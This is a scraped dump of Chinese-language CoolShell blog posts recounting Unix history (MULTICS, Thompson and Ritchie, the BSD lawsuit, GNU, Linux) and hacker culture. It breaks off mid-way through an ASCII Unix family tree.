Web下拉菜单](https://coolshell.cn/articles/3207.html)\n* [![用户界面和用户体验的差别](../wp-content/uploads/2010/10/UI-150x150.gif)](https://coolshell.cn/articles/3142.html)[用户界面和用户体验的差别](https://coolshell.cn/articles/3142.html)\n* [![Windows的达尔文进化图](../wp-content/uploads/2010/10/W_600-150x150.jpg)](https://coolshell.cn/articles/3097.html)[Windows的达尔文进化图](https://coolshell.cn/articles/3097.html)\n* [![一些非常有意思的杂项资源](../wp-content/uploads/2010/09/biolab-150x150.jpg)](https://coolshell.cn/articles/3013.html)[一些非常有意思的杂项资源](https://coolshell.cn/articles/3013.html)\nThe post [史上最糟糕的网站](https://coolshell.cn/articles/2313.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-4-9 Unix传奇(上篇).md",
    "content": "---\nlayout: post\ntitle: Unix传奇(上篇)\ndate: 2010/4/9/ 0:45:27\nupdated: 2010/4/9/ 0:45:27\nstatus: publish\npublished: true\ntype: post\n---\n\n【本文曾于2007年3月于[我在CSDN上的BLOG](http://blog.csdn.net/haoel)发布，现在我把其搬到酷壳来，一来是觉得这段历史相当传奇，值得大家再看看，二来也和我在酷壳上发布的一些文章相互链接。】\n\n\n\n\n---\n\n\n了解过去，我们才能知其然，更知所以然。总结过去，我们才会知道我们明天该如何去规划，该如何去走。在时间的滚轮中，许许多的东西就像流星一样一闪而逝，而有些东西却能经受着时间的考验散发着经久的魅力，让人津津乐道，流传至今。要知道明天怎么去选择，怎么去做，不是盲目地跟从今天各种各样琳琅满目前沿技术，而应该是去 —— 认认真真地了解和回顾历史。 \n\n\nUnix是目前还在存活的操作系统的元老了，走过了40年的历程（参看《[Unix 40年：Unix年鉴](https://coolshell.cn/articles/1032.html)》、《[Unix 40年：昨天，今天和明天](https://coolshell.cn/articles/1023.html)》）。在技术更新如此迅速的计算机世界的今天，Unix始终保持它那神圣的光环，它那曲折和令人叹息的历史，以及由它引发的思想变革，对当今计算机文化造成的深远影响，这40年所产生的人和事，让它成为了一个传奇，不能不让人为之惊叹。\n\n\n这是一段所有从事计算机行业人员尤其是软件开发人员需要了解的历史。Unix的传奇历史是整个计算机世界文化最具代表性的，它对整个计算机世界文化的影响也是最巨大，最深远的。他给人带来的不单单的对过去的回味，更为我们带来了计算机世界的新思潮。\n\n\n了解这段的历史的人，才能体会计算机世界变迁过程中的是是非非，才能了解计算机世界中的文化，从而才能参与到整个计算机革命的大潮中。希望这段历史，这篇文章能让你感受到计算机世界那强力的脉搏，从而让你踏上这条令人充满激情的道路。\n\n\n**[上篇](https://coolshell.cn/articles/2322.html)**\n\n\n* Unix起源\n* Unix分裂\n* Unix的法律纠纷\n* GNU开源组织\n* Linux横空出世\n* Linux今天的领袖\n\n\n\n**[下篇](https://coolshell.cn/articles/2324.html)**\n\n\n* Unix与黑客文化\n* Unix的历史教训\n* Unix 家族谱\n* Unix的特点\n* Unix的影响和哲学\n* Unix痛恨者手册\n\n\n \n\n\n### Unix 起源\n\n\n 回顾Unix历史，我们就要说一下一个叫MULTICS（Multiplexed Information and Computing Service）的项目。上世纪六十年代时，大部份计算机都是采用批处理（Batch Processing）的方式（也就是说，当作业积累一定数量的时候，计算机才会进行处理）。那时，我们熟知的美国电话及电报公司（American Telephone and Telegraph Inc.；AT&T）、通用电器公司（General Electrics；G.E.）及麻省理工学院（Massachusetts Institute of Technology；MIT）计划合作开发一个多用途（General-Purpose）、分时（Time-Sharing）及多用户（Multi-User）的操作系统，也就是这个MULTICS，其被设计运行在GE-645大型主机上。不过，这个项目由于太过复杂，整个目标过于庞大，糅合了太多的特性，进展太慢，几年下来都没有任何成果，而且性能都很低。于是到了1969年2月，贝尔实验室（Bell Labs）决定退出这个项目。\n\n\n 熟悉这段历史的人都知道，贝尔实验室中的有个叫Ken Thompson的人，他为MULTICS这个操作系统写游戏了个叫“Space Travel”的游戏，在MULTICS上经过实际运行后，他发现游戏速度很慢而且耗费昂贵 —— 每次运行会花费75美元。退出这个项目以后。他为了让这个游戏能玩，所以他找来Dennis Ritchie为这个游戏开发一个极其简单的操作系统。这就是后来的Unix。（值得一提的是，当时他们本想在DEC-10上写，后来没有申请到，只好在实验室的墙角边找了一台被人遗弃的Digital PDP-7的迷你计算机进行他们的计划，这台计算机上连个操作系统都没有，于是他们用汇编语言仅一个月的时间就开发了一个操作系统的原型）他们的同事Brian Kernighan非常不喜欢这个系统，嘲笑Ken Thompson说：“你写的系统好真差劲，干脆叫Unics算了。”Unics的名字就是相对于MULTICS的一种戏称，后业改成了Unix。于是，Unix就在这样被游戏和玩笑创造了，当时是1969年8月。也就是这一年，Linux之父Linus Torvalds在芬兰出生了。\n\n\n1971年，Ken Thompson写了充分长篇的申请报告，申请到了一台PDP-11/24的机器。于是Unix第一版出来了。在一台PDP-11/24的机器上完成。这台电脑只有24KB的物理内存和500K磁盘空间。Unix占用了12KB的内存，剩下的一半内存可以支持两用户进行Space Travel的游戏。而著名的fork()系统调用也就是在这时出现的。\n\n\n到了1973年的时候，Ken Thompson 与Dennis Ritchie感到用汇编语言做移植太过于头痛，他们想用高级语言来完成第三版，对于当时完全以汇编语言来开发程序的年代，他们的想法算是相当的疯狂。一开始他们想尝试用Fortran，可是失败了。后来他们用一个叫BCPL（Basic Combined Programming Language）的语言开发，他们整合了BCPL形成B语言，后来Dennis Ritchie觉得B语言还是不能满足要求，就是就改良了B语言，这就是今天的大名鼎鼎的C语言。于是，Ken Thompson 与Dennis Ritchie成功地用C语言重写了Unix的第三版内核。至此，Unix这个操作系统修改、移植相当便利，为Unix日后的普及打下了坚实的基础。而Unix和C完美地结合成为一个统一体，C与Unix很快成为世界的主导。\n\n\nUnix的第一篇文章 “The UNIX Time Sharing System”由Ken Thompson和Dennis\n\n\nRitchie于1974年7月的 the Communications of the ACM发表。这是UNIX与外界的首次接触。结果引起了学术界的广泛兴趣并对其源码索取，所以，Unix第五版就以“仅用于教育目的”的协议，提供给各大学作为教学之用，成为当时操作系统课程中的范例教材。各大学公司开始通过Unix源码对Unix进行了各种各样的改进和扩展。于是，Unix开始广泛流行。\n\n\nhttp://p.blog.csdn.net/images/p_blog_csdn_net/haoel/15190/o_unixrichiethompson.jpg  \n\nKen Thompson & Dennis Ritchie\n\n\n \n\n\n### Unix分裂\n\n\n1978年，对 Unix而言是革命性的一年；因为学术界的老大柏克利大学 （UC Berkeley），推出了一份以第六版为基础，加上一些改进和新功能而成的 Unix。这就是著名的“1 BSD（1st Berkeley Software Distribution）”，开创了Unix的另一个分支：BSD 系列。 同时期，AT&T成立USG（Unix Support Group），将 Unix变成商业化的产品。从此，BSD的 Unix 便和AT&T 的Unix 分庭抗礼，Unix就分为System IV和4.x BSD这两大主流，各自蓬勃发展。\n\n\n1979年发布的Unix 第七版被称为是“最后一个真正的Unix”，这个版本的Unix内核只有40K bytes。后来这个版本被移植到VAX机上（我在大学时学习C语言时用过这个VAX机，我还记得那时上VAX机最大的爱好就是使用talk命令和别人聊天，呵呵）。20世纪80年代相继发布的8、9、10版本只授权给了少数大学。\n\n\n1982年，AT&T基于版本7开发了UNIX System Ⅲ的第一个版本，这是一个商业版本仅供出售。为了解决混乱的UNIX版本情况，AT&T综合了其他大学和公司开发的各种UNIX，开发了UNIX System V Release 1。这个新的UNIX商业发布版本不再包含源代码，所以加州大学Berkeley分校继续开发BSD UNIX，作为UNIX System III和V的替代选择。BSD对UNIX最重要的贡献之一是TCP/IP。BSD 有8个主要的发行版中包含了TCP/IP：4.1c、4.2、4.3、4.3-Tahoe、4.3-Reno、Net2、4.4以及 4.4-lite。这些发布版中的TCP/IP代码几乎是现在所有系统中TCP/IP实现的前辈，包括AT&T System V UNIX 和Microsoft Windows中的TCP/IP都参照了BSD的源码。\n\n\n同时，其他一些公司也开始为其自己的小型机或工作站提供商业版本的UNIX系统，有些选择System V作为基础版本，有些则选择了BSD。BSD的一名主要开发者，Bill Joy，在BSD基础上开发了SunOS，并最终创办了Sun Microsystems。\n\n\n http://p.blog.csdn.net/images/p_blog_csdn_net/haoel/15190/o_bill_joy.gif  \n\nBill Joy\n\n\n 1991年，一群BSD开发者（Donn Seeley、Mike Karels、Bill Jolitz 和 Trent Hein）离开了加州大学，创办了Berkeley Software Design, Inc (BSDI)。BSDI是第一家在便宜常见的Intel平台上提供全功能商业BSD UNIX的厂商。后来Bill Jolitz 离开了BSDI，开始了386BSD的工作。386BSD被认为是FreeBSD、OpenBSD 和 NetBSD、DragonFlyBSD的先辈。\n\n\n这是一个AT&T妄图私有化的Unix的时代。为了私有化Unix，1986年IEEE指定了一个委员会制定了一个一个开放作业系统的标准,称为 POSIX (Portable Operating Systems Interface)。最后加上个X，不知道是为了好听，还是因为这本质上是UNIX的标准。当然，AT&T的Unix取得了这个标准制订战争的胜利，还取得了Unix这个注册商标。此时BSD的拥护者自喻为冷酷无情的公司帝国的反抗军。就销售量来说，AT&T UNIX始终赶不上BSD/Sun。到1990年，AT&T与BSD版本已难明显区分，因为彼此都有采用对方的新发明。\n\n\n 这段时期，从实验室出来的被全世界所分享的Unix，正处于被私有化的关键时期。（这里有一个笑话——《[Alice梦游UNIX仙境](https://coolshell.cn/articles/1439.html)》）\n\n\n### Unix的法律纠纷\n\n\n Berkeley Software Design, Inc（BSDI）很快就与AT&T的UNIX Systems Laboratories（USL）附属公司产生了法律纠纷，USL是AT&T注册的公司。AT&T为了拥有System V版权，以及Unix商标，为了垄断Unix，1992年，USL正式对BSDI提起诉讼，说BSD剽窃他的源码。而最终了结了好评如潮的BSD系统。\n\n\n由于最后判决悬而未决，这桩法律诉讼将BSD后裔的开发，特别是自由软件，延迟了两年，这导致没有法律问题的Linux内核获得了极大的支持。Linux跟386BSD的开发几乎同时起步，Linus说，当时如果有自由的基于386的Unix-like操作系统，他就可能不会创造Linux。尽管无法预料这给以后的软件业究竟造成了什么样的影响（如果没有这个法律纠纷，很有可能没有今天的革命性的Linux），但有一点可以肯定，Linux更加丰富了这块土壤。\n\n\n这场官司一直打到 AT&T将自己的Unix系统实验室卖掉，新接手的Novell公司采取了一种比较开明的做法，允许BSDI自由发布自己的BSD，但是前提是必须将来自于AT&T的代码完全删除，于是诞生了4.4 BSD Lite版，由于这个版本不存在法律问题，4.4BSD Lite成为了现代BSD系统的基础版本。\n\n\n这桩诉讼最终在1994年1月了结，更多地满足了BSDI的利益。伯克利套件的18,000个文件中，只有3个文件要求删除，另有70个文件要求修改，并显示USL的版权说明。这项调解另外要求，USL不得对4.4BSD提起诉讼，不管是用户还是BSDI代码的分发者。于是，BSD Unix走上了复兴的道路。BSD的开发也走向了几个不同的方向，并最终导致了FreeBSD、OpenBSD和NetBSD的出现。\n\n\n从AT&T意识到了Unix的商业价值，不再将Unix源码授权给学术机构以来，到以后的几十年，Unix仍在不断变化，其版权所有者不断变更，授权者的数量也在增加。Unix的版权曾经为AT&T所有，之后Novell拥有了Unix，再之后Novell又将版权出售给了SCO（这一事实双方尚存在争议）。有很多大公司在取得了Unix的授权之后，开发了自己的Unix产品。（几年前，据传闻微软为了限制Linux，微软让SCO到法院告Linux剽窃其源码）\n\n\n由于Unix是由C语言写的，所以修改和移植都很容易，因此，很多商业公司及学术机构均加入这个操作系统的研发，各个不同版本的Unix也开始蓬勃发展。这才产生了今天这么多的各式各样的Unix衍生产品。如AIX、Solaris、HP-UX、IRIX、OSF、Ultrix等等。（这些商业化的Unix基本上都是源于AT&T授权的Unix System V）\n\n\n### Unix开源组织\n\n\nAT&T的这种商业态度，让当时许许多的Unix的爱好者和软件开发者们感到相当的痛心和忧虑，他们认为商业化的种种限制并不利于产生的发展，相反还能导制产品出现诸多的问题。随着商业化Unix的版本的种种限制和诸多问题，引起了大众的不满和反对。于是，大家开始有组织地结成“反叛联盟”以此对抗欺行罢市的AT&T等商业化行为。\n\n\n另一方面，关于“大教堂”（集权、封闭、受控、保密）和“集市”（分权、公开、精细的同僚复审）两种开发模式的对比成为了新思潮的中心思想。这个新思潮对IT业产生了非常深远影响。为整个计算机世界带来了革命性的价值观。\n\n\nhttp://p.blog.csdn.net/images/p_blog_csdn_net/haoel/15190/o_richard_stallman.jpg此时，一个名叫Richard Stallman的领袖出现了，他认为Unix是一个相当好的操作系统，如果大家都能够将自己所学贡献出来，那么这个系统将会更加的优异！他倡导的Open Source的概念，就是针对Unix这一事实反对实验室里的产品商业化私有化。尽管Stallman既不是、也从来没有成为一个Unix程序员，但在后1980的大环境下，实现一个仿Unix操作系统成了他追求的明确战略目标。Richard Stallman早期的捐助者大都是新踏入Unix土地的老牌ARPANET黑客，他们对代码共享的使命感甚至比那些有更多Unix背景的人强烈。\n\n\n为了这个理想，Richard Stallman于1984年创业了GNU，计划开发一套与Unix相互兼容的的软件。1985 年 Richard Stallman 又创立了自由软件基金会（Free Software Foundation）来为 GNU 计划提供技术、法律以及财政支持。尽管 GNU 计划大部分时候是由个人自愿无偿贡献，但 FSF 有时还是会聘请程序员帮助编写。当 GNU 计划开始逐渐获得成功时，一些商业公司开始介入开发和技术支持。当中最著名的就是之后被 Red Hat 兼并的 Cygnus Solutions。\n\n\nGNU组织的建立，延续了当年Unix刚出现时的情形，并为这种情形建立了可靠的法律和财务保障。GNU 工程十几年以来, 已经成为一个对软件开发主要的影响力量， 创造了无数的重要的工具。例如：强健的编译器，有力的文本编辑器，甚至一个全功能的操作系统。从那时开始，许多程序员聚集起来开始开发一个自由的、高质量、易理解的软件，让这使得Unix社区生机勃勃，一派繁荣景象。\n\n\n 自90年代发起这个计划以来，GNU 开始大量的产生或收集各种系统所必备的组件，像是——函数库（libraries）、编译器（compilers）、调式工具（debugs）、文本编辑器（text editors）、网站服务器（web server），以及一个Unix的使用者接口（Unix shell）等等，等等。但由于种种原因，GNU一直没有开发操作系统的kernel。正当Richard Stallman在为操作系统内核伤脑筋的时候，Linux出现了。\n\n\n### Linux横空出世\n\n\nhttp://p.blog.csdn.net/images/p_blog_csdn_net/haoel/15190/o_linus.gif1990年，Linus Torvalds还是芬兰赫尔辛基大学的一名学生，最初是用汇编语言写了一个在80386保护模式下处理多任务切换的程序，后来从Minix（Andy Tanenbaum教授所写的很小 的Unix操作系统,主要用于操作系统教学）得到灵感，进一步产生了自认为狂妄的想法——写一个比Minix更好的Minix，于是开始写了一些硬件的设备驱动程序，一个小的文件系统。这样0.0.1版本的Linux就出来了，但是它只具有操作系统内核的勉强的雏形，甚至不能运行，你必须在有Minix的机器上编译以后才能玩。这时候Linus已经完全着迷而不想停止，决定踢开Minix，于是在1991年10 月5号发布Linux 0.0.2版本,在这个版本中已经可以运行bash 和gcc。\n\n\n从一开始，Linus就决定自由扩散Linux，包括原代码，随即Linux引起黑客们（hacker）的注意，通过计算机网络加入了Linux的内核开发。Linux倾向于成为一个黑客的系统——直到今天，在Linux社区里内核的开发被认为是真正的编程。由于一批高水平黑客的加入，使Linux 发展迅猛，几乎一两个礼拜就有新版或修正版的出现，到1993年底94年初，Linux 1.0终于诞生了！Linux 1.0已经是一个功能完备的操作系统，而且内核写得紧凑高效，可以充分发挥硬件的性能，在4M内存的80386机器上也表现得非常好，至今人们还在津津乐道。时至今日，kernel的版本已经出到2.6。Linux的发展不像传统的软件工程，它完全是透过网络，集合世界各地的高手而成的一套操作系统，在这里我们也可以见识到网络快速传播的威力。Linux初次让整个世界感觉到了开源力量和网络力量的如此强大。（Linux 的标志和吉祥物是一只名字叫做 Tux 的 企鹅，标志的由来是因为Linus在澳洲时曾被一只动物园里的企鹅咬了一口，便选择了企鹅作为Linux的标志。）\n\n\nLinux 的历史是和GNU紧密联系在一起的。从1983年开始的GNU计划致力于开发一个自由并且完整的类Unix操作系统，包括软件开发工具和各种应用程序。到1991年 Linux 内核发布的时候，GNU已经几乎完成了除了系统内核之外的各种必备软件的开发。在 Linus Torvalds 和其它开发人员的努力下，GNU组件可以运行于Linux内核之上。整个内核是基于 GNU 通用公共许可，也就是GPL（GNU General Public License，GNU通用公共许可证）的，但是Linux内核并不是GNU 计划的一部分。1994年3月，Linux1.0版正式发布，Marc Ewing成立了 Red Hat 软件公司，成为最著名的 Linux 分销商之一。\n\n\n严格来讲，Linux这个词本身只表示Linux内核，但在实际上人们已经习惯了用Linux来形容整个基于Linux内核，并且使用GNU 工程各种工具和应用程序的操作系统(也被称为GNU/Linux)。基于这些组件的Linux软件被称为Linux发行版。一般来讲，一个Linux发行套件包含大量的软件，比如软件开发工具，数据库，Web服务器（例如Apache)，X Window，桌面环境（比如GNOME和KDE），办公套件（比如OpenOffice.org），等等。\n\n\n1991至1995年间，Linux从概念型的0.1版本内核原型，发展成为能够在性能和特性上均堪媲美专有Unix的操作系统，并且在连续正常工作时间等重要统计数据上打败了这些Unix中的绝大部分。1995年，Linux找到了自己的杀手级应用——开源的web服务器Apache。就像Linux，Apache出众地稳定和高效。很快，运行Apache的Linux机器成了全球ISP平台的首选。约60%的网站选用Apache，轻松击败了另两个主要的专有型竞争对手。今天的LAMP（Linux , Apache, MySQL, PHP）已经成为了架构Web服务器的主要首选。\n\n\n 现如今的Linux不但可以装在几乎所有的主流服务器上，当然也包括桌面的X86系统中。其还常常被用于嵌入式系统，机顶盒、手机、交换机、游戏机、PDA、网络交换机、路由器、等等，都是因为Linux那精彩的内核。\n\n\nLinux的出现，不仅仅给世界带来了一个免费的操作系统，也不仅仅是对Unix自由、共享的文化的延续，它的出现带给了计算机世界自Unix、GNU以来更为成熟的思想和文化。\n\n\n### Linux今天的领袖\n\n\n\nLinux和GNU关系是比较微妙的。那时，自由软件基金会编写的用户软件工具包铺平了一条摆脱高成本专有软件开发工具的前进道路。意识服从经济，而不是领导：一些新手加入了RMS的革命运动，高举GPL大旗，另一些人则更认同整体意义上的Unix传统，加入了反对GPL的阵营，但其他大部分人置身事外，一心编码。\n\n\nLinus Torvalds巧妙地跨越了GPL和反GPL的派别之争。他利用GNU工具包搭起了自创的Linux内核，用GPL的传染性质保护它，但拒绝认同Richard Stallman的许可协议反映的思想体系计划。Linus Torvalds明确表示他认为自由软件一般情况下更好，但他偶尔也用专有软件。即使在他自己的事业中，他也拒绝成为狂热分子。这一点极大地吸引了大多数黑客，他们虽然早就反感Richard Stallman的言辞，但他们的怀疑论一直缺个有影响力或者令人信服的代言人。而Linus Torvalds正好充当了这一角色。\n\n\n http://p.blog.csdn.net/images/p_blog_csdn_net/haoel/15190/o_Linus_Torvalds.jpgLinus Torvalds令人愉快的实用主义及灵活而低调的行事风格，促使黑客文化在1993至1997年间取得了一连串令人惊奇的胜利，不仅仅在技术上的成功，还让围绕Linux操作系统的发行、服务和支持产业有了坚实的开端。结果，他的名望和影响也一飞冲天。Torvalds成为了互联网时代的英雄；到1995年为止，他只用了四年时间就在整个黑客文化界声名显赫，而Richard Stallman为此花了十五年，而且他还远远超过了Stallman向外界贩卖“自由软件”的记录。与Torvalds相比，Richard Stallman的言辞渐渐显得既刺耳又无力。（参看《[Linus Torvalds 语录 Top 10](https://coolshell.cn/articles/1278.html)》）\n\n\n今天，我们也说不清楚是GNU Linux还是Linux GNU。Linux既不排斥开源，也不排斥商业化，Linus认为好的软件是需要免费和商业化共同推进的。正是这种革命性的想法，造就了今天的Linux火红的局面（参看《[谁写了Linux](https://coolshell.cn/articles/1360.html)》、《[Linux基金会的广告](https://coolshell.cn/articles/1283.html)》、《[Linux Distribution Timeline](https://coolshell.cn/articles/85.html)》）。Linux就像一股清泉流入了所有人的心中，引发了很多的启迪和思考。\n\n\n[**Unix传奇（下篇） >>>>**](https://coolshell.cn/articles/2324.html)\n\n\n**(****转载时请注明作者和出处。未经许可，请勿用于商业用途****)**\n---------------------------------------\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Unix 50 年：Ken Thompson 的密码](../wp-content/uploads/2019/11/ken.dennis-300x186-1-150x150.jpeg)](https://coolshell.cn/articles/19996.html)[Unix 50 年：Ken Thompson 的密码](https://coolshell.cn/articles/19996.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Linux PID 1 和 Systemd](../wp-content/uploads/2017/07/systemd-1-150x150.jpeg)](https://coolshell.cn/articles/17998.html)[Linux PID 1 和 Systemd](https://coolshell.cn/articles/17998.html)\n* [![vfork 挂掉的一个问题](../wp-content/uploads/2014/11/tux-fork-150x150.gif)](https://coolshell.cn/articles/12103.html)[vfork 挂掉的一个问题](https://coolshell.cn/articles/12103.html)\n* [![谜题的答案和活动的心得体会](../wp-content/uploads/2014/08/puzzle-150x150.png)](https://coolshell.cn/articles/11847.html)[谜题的答案和活动的心得体会](https://coolshell.cn/articles/11847.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg](https://coolshell.cn/articles/9917.html)[Alan Cox：大教堂、市集与市议会](https://coolshell.cn/articles/9917.html)\nThe post [Unix传奇(上篇)](https://coolshell.cn/articles/2322.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-4-9 Unix传奇(下篇).md",
    "content": "---\nlayout: post\ntitle: Unix传奇(下篇)\ndate: 2010/4/9/ 0:44:57\nupdated: 2010/4/9/ 0:44:57\nstatus: publish\npublished: true\ntype: post\n---\n\n\n\n【本文曾于2007年3月于[我在CSDN上的BLOG](http://blog.csdn.net/haoel)发布，现在我把其搬到酷壳来，一来是觉得这段历史相当传奇，值得大家再看看，二来也和我在酷壳上发布的一些文章相互链接。】\n\n\n\n\n---\n\n\n[**<<<<   Unix传奇（上篇）**](https://coolshell.cn/articles/2322.html)\n\n\n\nUnix是目前还在存活的操作系统的元老了，走过了40年的历程（参看《[Unix 40年：Unix年鉴](https://coolshell.cn/articles/1032.html)》、《[Unix 40年：昨天，今天和明天](https://coolshell.cn/articles/1023.html)》）。由它引发的思想变革，对当今计算机文化造成的深远影响。这是一段所有从事计算机行业人员尤其是软件开发人员需要了解的历史。Unix的传奇历史是整个计算机世界文化最具代表性的，它对整个计算机世界文化的影响也是最巨大，最深远的。他给人带来的不单单的对过去的回味，更为我们带来了计算机世界的新思潮。\n\n\n**[下篇](https://coolshell.cn/articles/2324.html)**\n\n\n* Unix与黑客文化\n* Unix的历史教训\n* Unix 家族谱\n* Unix的特点\n* Unix的影响和哲学\n* Unix痛恨者手册\n\n\n\n\n\n\n\n**[上篇](https://coolshell.cn/articles/2322.html)**\n\n\n* Unix起源\n* Unix分裂\n* Unix的法律纠纷\n* GNU开源组织\n* Linux横空出世\n* Linux今天的领袖\n\n\n\n### Unix与黑客文化\n\n\n黑客的文化和Unix的商业化存在着必然的联系。自从Unix出现，黑客文化就与之而来。\n\n\n1993初，一个悲观的观察家撰文指出，已经有理由认为Unix的传奇故事连同他带有黑客文明将一同破产。许多人预测，从那时起Unix将在六月内死亡。他们很清楚，十年的Unix商业化，使自由跨平台的Unix梦以失败告终。Unix允诺的跨平台可移植性，在一打大公司专有的Unix版本之间不停地斗嘴中丢失，一个完美的操作系统最终沦为多种版本的一团乱麻，这应该说是人类文明史上的一个重大悲剧。\n\n\n在专有软件社会中，只有像微软一样的“集权制，大教堂”生产方式才能成功。那个时代的人悲观地相信，技术世界的个人英雄主义时代已经结束，软件工业和发展中的互联网络将逐渐地由像微软一样的巨型企业支配，再也没有“佐罗”，世界是恺撒大帝的世界，计算机文明将进入黑暗的帝国时代。黑客已经死了，自由不付存在。\n\n\n自从Unix出现以来，第一代的Unix黑客似乎垂垂老矣，衣食不饱( Berkeley计算机科学研究组在1994丢失了自己基金)。这是一个抑压的时代。专有的商业Unix的结果证明那么沉重、那么盲目、那么不适当，以致微软能够用那次等技术的Windows抢走他们生存的空间，拿走他们的干粮。黑客世界的残余力量被逼到了世界上的角落里，苟延残喘。\n\n\n就在黑客文化日渐衰落之时，美国新闻周刊的资深记者Steven Levy完成了著名的《黑客列传》一书，书中着力介绍了一个人物：Richard M. Stallman的故事，他是麻省理工学院（MIT）人工智能实验室领袖人物，坚决反对实验室的研究成果商业化。他是商业软件社会中坚强的一员，决不随波逐流，建立了全新的黑客文化。\n\n\nRichard M. Stallman（他的登陆名RMS更为人熟知）早在1970年代晚期就已经证明他是当时最有能力的程序员之一。Emacs编辑器就是他众多发明中的一项。RMS的目标是将后1980的松散黑客社群变成一台有组织的社会化机器以达到一个单纯的革命目标。也许他未意识到，他的言行与当年卡尔·马克思号召产业无产阶级反抗工作的努力如出一辙。RMS宣言引发的争论至今仍存于黑客文化中。他的纲要远不止于维护一个代码库，已经暗含了废除软件知识产权主张的精髓。RMS通过“自由软件（free software）”让黑客文化更加有自我意识。当然，这个充满魅力又具争议的人物本身已经成为了一个黑客文化英雄。\n\n\n*只有痴迷的“黑客”和具有创造力的怪人结成的反叛联盟才能把我们从愚蠢中拯救出来——他们接着教导我们，真正的专业和奉献精神，正是我们在屈服于世俗观念的“合理商业做法”之前的所作所为。* *——*《*The Art of Unix Programming*》\n\n\nRMS让世界上所有的人都知道，入侵电脑系统只是低级不入流的黑客干的事，真正的黑客，是为了自由，为了软件的自由，为了挑战计算机世界中的霸权主义而斗争。他们不是街头小混混，他们更像是绿林好汉，更像是罗宾汉，更像是佐罗。就像渴望民主的人民同专制的政府斗争一样。RMS领导着许多的黑客通过互联网向专有软件发出宣战。\n\n\nX Windows是首批由服务于全球各地不同组织的许多个人以团队形式开发的大规模开源项目之一。电子邮件使创意得以在这个群体中快速传播，问题由此得以快速解决，而开发者可以人尽其才。软件更新可以在数小时之内发送到位，使得每个节点在整个开发过程中步调一致。网络改变了软件的开发模式。\n\n\n另一方面，RMS的理论体系有许多东西非常有争议，他的GPL被认为是一种“病毒式”的协议，BSD的fans和老牌Unix黑客们认为，他们编写Unix的年头都比GPL声明要长得多，GPL依然有太多的限制，而BSD协议则比GPL更加的自由。另一方面，RMS走向了另一个极端，他是完全反版权的，反商业化的。把软件产品从强制收费推向了强制免费、共享和开源，这也为他带来了许多许多的争议。\n\n\n在RMS组织黑客闹革命的年代里，没有多少黑客认同于RMS的理论体系，更多的他们参与GNU只是为了体现那种在互联网上协同工作，令人激动的工作模式。自从GNU设立以来，争议不断，而黑客文化却从未有统一在他的理想体系之下。\n\n\n自从Linux出现以后，一个新的黑客领袖出现了，Linus Torvalds的中庸态度网聚了世界上顶尖的黑客，其绕过了GPL和反GPL的派系之争，他使用GNU的工具从而以GPL的“传染性”保护了Linux，但他同时也不承认RMS的理论思想体系，他即开源，又支持商业化。虽然，他没有带给黑客们什么重要的思想体系或统一的价值观，但他整合了全世界黑客的阵营，让所有的黑客的行为都围绕着Linux这一事物进行。他以“用自由软件是因为它运行得更好”轻而易举地盖过了“用自由软件是因为所有软件都该是自由的”。\n\n\n1998年初，这种新思潮促使网景公司（Netscape Communications）公布了其Mozilla浏览器的源码。媒体对此事件的关注促成了Linux在华尔街的上市，推动了1999－2001年间科技股的繁荣。事实证明，此事无论对黑客文化的历史还是对Unix的历史都是一个转折点。\n\n\n### Unix的历史教训\n\n\n下面的文字出自《*The Art of Unix Programming*》（Unix编程艺术）。令今天我们所有人所反思。\n\n\n在Unix历史中，最大的规律就是： （看看《[谁写了Linux](https://coolshell.cn/articles/1360.html)》你就会知道这一规律）\n\n\n**距开源越近就越繁荣。任何将Unix****专有化的企图，只能陷入停滞和衰败。**\n\n\n回顾过去，我们早该认识到这一点。1984年至今，我们浪费了十年时间才学到这个教训。如果我们日后不思悔改，可能还得大吃苦头。\n\n\n虽然我们在软件设计这个重要但狭窄的领域比其他人聪明，但这不能使我们摆脱对技术与经济相互作用影响的茫然，而这些就发生在我们的眼皮底下。即使Unix社区中最具洞察力、最具远见卓识的思想家，他们的眼光终究有限。对今后的教训就是：**过度依赖任何一种技术或者商业模式都是错误的**——相反，保持软件及其设计传统的的灵活性才是长存之道。\n\n\n另一个教训是：**别和低价而灵活的方案较劲**。或者，换句话说，低档的硬件只要数量足够，就能爬上性能曲线而最终获胜。经济学家Clayton Christensen称之为“破坏性技术”，他在《创新者窘境》（The Innovator’s Dilemma）[Christensen]一书中以磁盘驱动器、蒸汽挖土机和摩托车为例阐明了这种现象的发生。当小型机取代大型机、工作站和服务器取代小型机以及日用Intel机器又取代工作站和服务器时，我们也看到了这种现象。开源运动获得成功正是由于软件的大众化。Unix要繁荣，就必须继续采用吸纳低价而灵活的方案的诀窍，而不是去反对它们。\n\n\n最后，旧学派的Unix社区因采用了传统的公司组织、财务和市场等命令机制而最终未能实现“职业化”。只有痴迷的“黑客”和具有创造力的怪人结成的反叛联盟才能把我们从愚蠢中拯救出来——他们接着教导我们，真正的专业和奉献精神，正是我们在屈服于世俗观念的“合理商业做法”之前的所作所为。\n\n\n### Unix族谱\n\n\nUnix的故事仍旧延续着……，许多网站也为这段历史留下记录。一个详细记录Unix历史的网站（http://www.levenez.com/unix/），这个网站忠实记载着1969～2005 年Unix发展的大事，而且还有 PDF 档案可供下载，上面有一个庞大的UNIX家族版本树，让人叹为观止。网站的首页陈列每个时期Unix的历史，也代表着无数工程师的心血与努力。\n\n\n下面是一个简单的Unix的族谱：\n\n\n\n```\n     |--AT&T (1969)-----\\\n     |                  |\n     |              V6 (1976)\n     |                  |\n     |              V7 (1979)\n     |                  |\n     |   Novell owns AT&T's Unix (by 1994)\n     |     _____________|____________________\n     |     |       |      |        |         |\n     |    AIX    IRIX    SCO   HP-UX   Solaris 2.X\n     |   (IBM)   (SGI)          (HP)     (Sun)\n     |\n     |\n     |--Berkley (1977)-----\\\n     |                     |\n     |                  1BSD (1977)\nUNIX-|                     |\n     |                4.4BSD 